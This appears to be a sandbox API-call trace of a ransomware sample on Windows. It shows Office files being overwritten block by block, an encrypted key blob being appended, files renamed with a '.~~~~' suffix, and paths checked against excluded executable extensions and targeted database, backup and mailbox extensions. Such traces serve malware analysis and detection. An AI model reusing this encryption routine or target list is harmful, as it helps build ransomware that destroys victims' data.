	[0138.509] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.509] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.510] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.510] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.510] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.533] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.533] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.534] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.535] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.535] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.535] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0xda47, lpOverlapped=0x0) returned 1
	[0138.548] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff25b9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.548] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xda47, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0xda47, lpOverlapped=0x0) returned 1
	[0138.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0138.550] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.550] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.550] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.550] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.550] CloseHandle (hObject=0x138) returned 1
	[0138.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.~~~~")) returned 1
	[0138.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0138.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0138.555] GetLastError () returned 0x0
	[0138.556] RtlWakeConditionVariable () returned 0x0
	[0138.556] GetCurrentThreadId () returned 0x9cc
	[0138.556] GetCurrentThreadId () returned 0x9cc
	[0138.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0138.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a388 | out: hHeap=0x300000) returned 1
	[0138.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825be0 | out: hHeap=0x300000) returned 1
	[0138.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a388
	[0138.556] lstrlenW (lpString=".scr") returned 4
	[0138.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".scr") returned 0x0
	[0138.557] lstrlenW (lpString=".cmd") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".cmd") returned 0x0
	[0138.557] lstrlenW (lpString=".dll") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dll") returned 0x0
	[0138.557] lstrlenW (lpString=".bat") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".bat") returned 0x0
	[0138.557] lstrlenW (lpString=".cpl") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".cpl") returned 0x0
	[0138.557] lstrlenW (lpString=".sys") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".sys") returned 0x0
	[0138.557] lstrlenW (lpString=".msc") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".msc") returned 0x0
	[0138.557] lstrlenW (lpString=".com") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".com") returned 0x0
	[0138.557] lstrlenW (lpString=".lnk") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".lnk") returned 0x0
	[0138.557] lstrlenW (lpString=".msp") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".msp") returned 0x0
	[0138.557] lstrlenW (lpString=".pif") returned 4
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".pif") returned 0x0
	[0138.557] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.633] lstrlenW (lpString=".sqb") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".sqb") returned 0x0
	[0138.633] lstrlenW (lpString=".ost") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".ost") returned 0x0
	[0138.633] lstrlenW (lpString=".txt") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".txt") returned 0x0
	[0138.633] lstrlenW (lpString=".mdt") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".mdt") returned 0x0
	[0138.633] lstrlenW (lpString=".BDB") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".BDB") returned 0x0
	[0138.633] lstrlenW (lpString=".eql") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".eql") returned 0x0
	[0138.633] lstrlenW (lpString=".DBF") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DBF") returned 0x0
	[0138.633] lstrlenW (lpString=".EQL") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".EQL") returned 0x0
	[0138.633] lstrlenW (lpString=".FDB") returned 4
	[0138.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".FDB") returned 0x0
	[0138.633] lstrlenW (lpString=".EDB") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".EDB") returned 0x0
	[0138.634] lstrlenW (lpString=".DACPAC") returned 7
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.634] lstrlenW (lpString=".VHD") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".VHD") returned 0x0
	[0138.634] lstrlenW (lpString=".DBV") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DBV") returned 0x0
	[0138.634] lstrlenW (lpString=".dacpac") returned 7
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dacpac") returned 0x0
	[0138.634] lstrlenW (lpString=".sdf") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".sdf") returned 0x0
	[0138.634] lstrlenW (lpString=".accdb") returned 6
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".accdb") returned 0x0
	[0138.634] lstrlenW (lpString=".DBX") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DBX") returned 0x0
	[0138.634] lstrlenW (lpString=".MDT") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".MDT") returned 0x0
	[0138.634] lstrlenW (lpString=".SQB") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".SQB") returned 0x0
	[0138.634] lstrlenW (lpString=".vhd") returned 4
	[0138.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".vhd") returned 0x0
	[0138.635] lstrlenW (lpString=".bac") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".bac") returned 0x0
	[0138.635] lstrlenW (lpString=".mdf") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".mdf") returned 0x0
	[0138.635] lstrlenW (lpString=".BAK") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".BAK") returned 0x0
	[0138.635] lstrlenW (lpString=".BAC") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".BAC") returned 0x0
	[0138.635] lstrlenW (lpString=".dbs") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dbs") returned 0x0
	[0138.635] lstrlenW (lpString=".vhdx") returned 5
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".vhdx") returned 0x0
	[0138.635] lstrlenW (lpString=".NDF") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".NDF") returned 0x0
	[0138.635] lstrlenW (lpString=".dat") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dat") returned 0x0
	[0138.635] lstrlenW (lpString=".DBS") returned 4
	[0138.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DBS") returned 0x0
	[0138.635] lstrlenW (lpString=".CKP") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".CKP") returned 0x0
	[0138.636] lstrlenW (lpString=".edb") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".edb") returned 0x0
	[0138.636] lstrlenW (lpString=".PST") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".PST") returned 0x0
	[0138.636] lstrlenW (lpString=".dbf") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dbf") returned 0x0
	[0138.636] lstrlenW (lpString=".SQL") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".SQL") returned 0x0
	[0138.636] lstrlenW (lpString=".pst") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".pst") returned 0x0
	[0138.636] lstrlenW (lpString=".dbv") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dbv") returned 0x0
	[0138.636] lstrlenW (lpString=".SDF") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".SDF") returned 0x0
	[0138.636] lstrlenW (lpString=".dtxs") returned 5
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dtxs") returned 0x0
	[0138.636] lstrlenW (lpString=".db3") returned 4
	[0138.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".db3") returned 0x0
	[0138.637] lstrlenW (lpString=".OST") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".OST") returned 0x0
	[0138.637] lstrlenW (lpString=".dbx") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dbx") returned 0x0
	[0138.637] lstrlenW (lpString=".DB3") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DB3") returned 0x0
	[0138.637] lstrlenW (lpString=".DAT") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DAT") returned 0x0
	[0138.637] lstrlenW (lpString=".VHDX") returned 5
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".VHDX") returned 0x0
	[0138.637] lstrlenW (lpString=".ndf") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".ndf") returned 0x0
	[0138.637] lstrlenW (lpString=".DB") returned 3
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DB") returned 0x0
	[0138.637] lstrlenW (lpString=".sql") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".sql") returned 0x0
	[0138.637] lstrlenW (lpString=".MYD") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".MYD") returned 0x0
	[0138.637] lstrlenW (lpString=".DBT") returned 4
	[0138.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DBT") returned 0x0
	[0138.637] lstrlenW (lpString=".ACCDB") returned 6
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.638] lstrlenW (lpString=".fdb") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".fdb") returned 0x0
	[0138.638] lstrlenW (lpString=".bak") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".bak") returned 0x0
	[0138.638] lstrlenW (lpString=".myd") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".myd") returned 0x0
	[0138.638] lstrlenW (lpString=".DTXS") returned 5
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".DTXS") returned 0x0
	[0138.638] lstrlenW (lpString=".ckp") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".ckp") returned 0x0
	[0138.638] lstrlenW (lpString=".dbt") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".dbt") returned 0x0
	[0138.638] lstrlenW (lpString=".db") returned 3
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".db") returned 0x0
	[0138.638] lstrlenW (lpString=".TXT") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".TXT") returned 0x0
	[0138.638] lstrlenW (lpString=".MDF") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".MDF") returned 0x0
	[0138.638] lstrlenW (lpString=".bdb") returned 4
	[0138.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".bdb") returned 0x0
	[0138.639] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0138.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.639] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0138.640] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.640] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0138.641] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25863106188) returned 1
	[0138.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbc0ef950, dwHighDateTime=0x1d60e1e)) 
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825c50
	[0138.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825c50 | out: hHeap=0x300000) returned 1
	[0138.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a628
	[0138.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.642] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0138.642] GetLastError () returned 0x0
	[0138.643] GetLastError () returned 0x0
	[0138.643] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0138.643] GetLastError () returned 0x0
	[0138.643] GetLastError () returned 0x0
	[0138.643] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.701] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.701] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.702] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.702] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
